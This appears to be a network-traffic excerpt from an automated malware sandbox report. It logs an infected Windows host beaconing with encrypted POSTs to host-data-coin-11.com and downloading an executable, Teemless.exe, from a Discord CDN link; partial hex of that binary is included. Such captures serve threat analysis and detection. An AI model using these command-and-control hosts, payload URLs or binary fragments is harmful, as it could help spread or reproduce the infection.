Jan 6, 2022 21:05:04.815576077 CET	6566	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xkqahphddq.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 128 Host: host-data-coin-11.com
Jan 6, 2022 21:05:04.815823078 CET	6566	OUT	Data Raw: 10 87 81 98 19 f8 a1 b7 cc 38 76 3a 0d c2 e4 8e 31 10 ac 43 a2 40 6f 98 bd 9a ac fe ff a3 91 f7 68 b7 58 a7 10 1f bf e0 e0 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 84 de 80 66 5d 02 c9 a1 c1 64 13 8a 8c 77 Data Ascii: 8v:1C@ohXwmDu$f]dwHW>Bv0Oct]q&O0R=Gm^
Jan 6, 2022 21:05:05.387254000 CET	6828	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:05:05 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.4	49868	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:05:05.584080935 CET	6828	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://anmaxtt.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 154 Host: host-data-coin-11.com
Jan 6, 2022 21:05:05.584111929 CET	6829	OUT	Data Raw: 10 87 81 98 19 f8 a1 b7 cc 38 76 3a 0d c2 e4 8e 31 10 ac 43 a2 40 6f 98 bd 9a ac fe ff a3 91 f7 68 b7 58 a7 10 1f bf e0 e0 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 81 66 5d 02 c8 a1 c1 64 47 aa b7 37 Data Ascii: 8v:1C@ohXwmDu$f]dG7./lZNi0,Pzuox:6?~.89Im]][(_u;]*/
Jan 6, 2022 21:05:06.149384975 CET	6833	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:05:05 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.4	49869	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:05:06.482136965 CET	6834	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://yxbidjlwky.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 303 Host: host-data-coin-11.com
Jan 6, 2022 21:05:06.482161999 CET	6834	OUT	Data Raw: 10 87 81 98 19 f8 a1 b7 cc 38 76 3a 0d c2 e4 8e 31 10 ac 43 a2 40 6f 98 bd 9a ac fe ff a3 91 f7 68 b7 58 a7 10 1f bf e0 e0 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de be 66 5d 02 c8 a1 c1 64 48 b2 80 67 Data Ascii: 8v:1C@ohXwmDu$f]dHgWuNp,'0s\z`9C#O/<fW&l*qV_Pj6,F+6K?4.?r)x.re@V-pffn^\NEI5w-PSa^S@
Jan 6, 2022 21:05:07.041696072 CET	6835	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:05:06 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.4	49780	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:03:46.084846020 CET	1166	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://krdkuoepm.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 276 Host: host-data-coin-11.com
Jan 6, 2022 21:03:46.084923029 CET	1166	OUT	Data Raw: 10 87 81 98 19 f8 a1 b7 cc 38 76 3a 0d c2 e4 8e 31 10 ac 43 a2 40 6f 98 bd 9a ac fe ff a3 91 f7 68 b7 58 a7 10 1f bf e0 e0 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 9f 66 5d 02 c8 a1 c1 64 1b 9c a6 70 Data Ascii: 8v:1C@ohXwmDu$f]dpWo$q[SA.nvgPP~_wKANc]IQFBrt4_n4<"h4s5X9~2m+x4],G\<,og_y^
Jan 6, 2022 21:03:46.635766029 CET	1167	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:03:46 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.4	49781	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:03:47.111471891 CET	1168	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://yepax.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 361 Host: host-data-coin-11.com
Jan 6, 2022 21:03:47.112718105 CET	1168	OUT	Data Raw: 10 87 81 98 19 f8 a1 b7 cc 38 76 3a 0d c2 e4 8e 31 10 ac 43 a2 40 6f 98 bd 9a ac fe ff a3 91 f7 68 b7 58 a7 10 1f bf e0 e0 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 9c 66 5d 02 c8 a1 c1 64 21 af ae 32 Data Ascii: 8v:1C@ohXwmDu$f]d!2DjHGjE<3aZb<VJ+V4gSF&FW]<2B"DEyX<B;fA=Ja_(e0nO%5\[9~I%2}Dqxn=
Jan 6, 2022 21:03:47.676250935 CET	1169	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:03:47 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.4	49782	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:03:47.884206057 CET	1170	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xwusff.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 219 Host: host-data-coin-11.com
Jan 6, 2022 21:03:47.884280920 CET	1170	OUT	Data Raw: 10 87 81 98 19 f8 a1 b7 cc 38 76 3a 0d c2 e4 8e 31 10 ac 43 a2 40 6f 98 bd 9a ac fe ff a3 91 f7 68 b7 58 a7 10 1f bf e0 e0 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 9d 66 5d 02 c8 a1 c1 64 2b a1 d1 6e Data Ascii: 8v:1C@ohXwmDu$f]d+n^Uwsk]TE2_K_<i;)?]ICYuF1)S[7@BO:oc*M)42wPLjJ^?6vcQ
Jan 6, 2022 21:03:48.440371037 CET	1170	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:03:48 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.4	49783	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:03:48.649723053 CET	1171	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://aekcskegpq.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 156 Host: host-data-coin-11.com
Jan 6, 2022 21:03:48.649738073 CET	1172	OUT	Data Raw: 10 87 81 98 19 f8 a1 b7 cc 38 76 3a 0d c2 e4 8e 31 10 ac 43 a2 40 6f 98 bd 9a ac fe ff a3 91 f7 68 b7 58 a7 10 1f bf e0 e0 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 9a 66 5d 02 c8 a1 c1 64 06 98 83 1e Data Ascii: 8v:1C@ohXwmDu$f]d56rX5Tw36!X5{ &5S5#5PUBH5) ,
Jan 6, 2022 21:03:49.212937117 CET	1172	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:03:49 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 32 64 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3a 4a a6 e8 dd e6 f8 5f f5 4a 88 2d a0 57 53 98 00 e5 a7 2c f8 2f 0d 0a 30 0d 0a 0d 0a Data Ascii: 2dI:82OI:J_J-WS,/0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49795	185.233.81.115	443	C:\Windows\explorer.exe

Timestamp	Direction	Data
2022-01-06 20:03:59 UTC	OUT	GET /32739433.dat?iddqd=1 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: 185.233.81.115
2022-01-06 20:03:59 UTC	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:03:59 GMT Content-Type: text/html Content-Length: 153 Connection: close
2022-01-06 20:03:59 UTC	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.20.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49838	162.159.135.233	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2022-01-06 20:04:22 UTC	0	OUT	GET /attachments/928021103304134716/928022474753474631/Teemless.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: cdn.discordapp.com
2022-01-06 20:04:22 UTC	0	IN	HTTP/1.1 200 OK Date: Thu, 06 Jan 2022 20:04:22 GMT Content-Type: application/x-msdos-program Content-Length: 538624 Connection: close CF-Ray: 6c978e1b8ff8c26d-FRA Accept-Ranges: bytes Age: 131249 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=Teemless.exe ETag: "9d7eb9be3b7f3a023430123ba099b0b0" Expires: Fri, 06 Jan 2023 20:04:22 GMT Last-Modified: Tue, 04 Jan 2022 20:29:59 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1641328199849354 x-goog-hash: crc32c=3nI44A== x-goog-hash: md5=nX65vjt/OgI0MBI7oJmwsA== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 538624 X-GUploader-UploadID: ADPycdu1DO41oN0UnSuir1fPJEp38AABzDQYxXGrIHmxTh8cdElDVtqEihiNFQGrdY7U5D5-pI3dZZbrvYT2VH8uX2g X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
2022-01-06 20:04:22 UTC	1	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 41 6e 44 47 6a 59 67 6b 4f 51 42 61 66 6a 55 25 32 42 35 70 77 4b 5a 4e 31 5a 78 45 34 42 63 75 32 55 35 31 50 4a 65 25 32 42 25 32 42 35 69 61 5a 51 53 65 38 78 6f 53 4c 4d 6d 52 4c 76 31 65 4f 66 50 31 31 48 45 36 72 35 36 6d 6d 46 37 38 31 72 64 73 4f 25 32 46 6c 4e 75 59 30 53 41 69 57 36 68 47 4c 6b 71 78 69 6c 70 66 79 25 32 42 5a 38 6d 31 6e 79 78 45 4f 79 46 69 63 66 46 4f 64 4b 67 53 50 70 34 78 41 32 4e 5a 51 47 50 51 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=AnDGjYgkOQBafjU%2B5pwKZN1ZxE4Bcu2U51PJe%2B%2B5iaZQSe8xoSLMmRLv1eOfP11HE6r56mmF781rdsO%2FlNuY0SAiW6hGLkqxilpfy%2BZ8m1nyxEOyFicfFOdKgSPp4xA2NZQGPQ%3D%3D"}],"group":"cf-nel","max_a
2022-01-06 20:04:22 UTC	2	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 97 0a d0 c9 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 30 00 00 30 08 00 00 06 00 00 00 00 00 00 de 4e 08 00 00 20 00 00 00 60 08 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 08 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL00N `@ @
2022-01-06 20:04:22 UTC	3	IN	Data Raw: 00 00 14 2a 00 00 00 1a 28 a7 00 00 06 2a 00 7e 28 a7 00 00 06 28 5d 01 00 06 38 00 00 00 00 72 33 0a 00 70 80 19 00 00 04 38 00 00 00 00 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 a7 00 00 06 2a 00 1a 28 a7 00 00 06 2a 00 12 00 00 00 2a 00 00 00 13 30 0e 00 04 00 00 00 00 00 00 00 00 00 17 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 a7 00 00 06 2a 00 1a 28 a7 00 00 06 2a 00 1a 28 a7 00 00 06 2a 00 1a 28 a7 00 00 06 2a 00 1a 28 a7 00 00 06 2a 00 1a 28 a7 00 00 06 2a 00 1a 28 a7 00 00 06 2a 00 1a 28 a7 00 00 06 2a 00 1a 28 a7 00 00 06 2a 00 1a 28 a7 00 00 06 2a 00 1a 28 a7 00 00 06 2a 00 1a 28 a7 00 00 06 2a 00 Data Ascii: (~((]8r3p8*******((0((((((((((((*
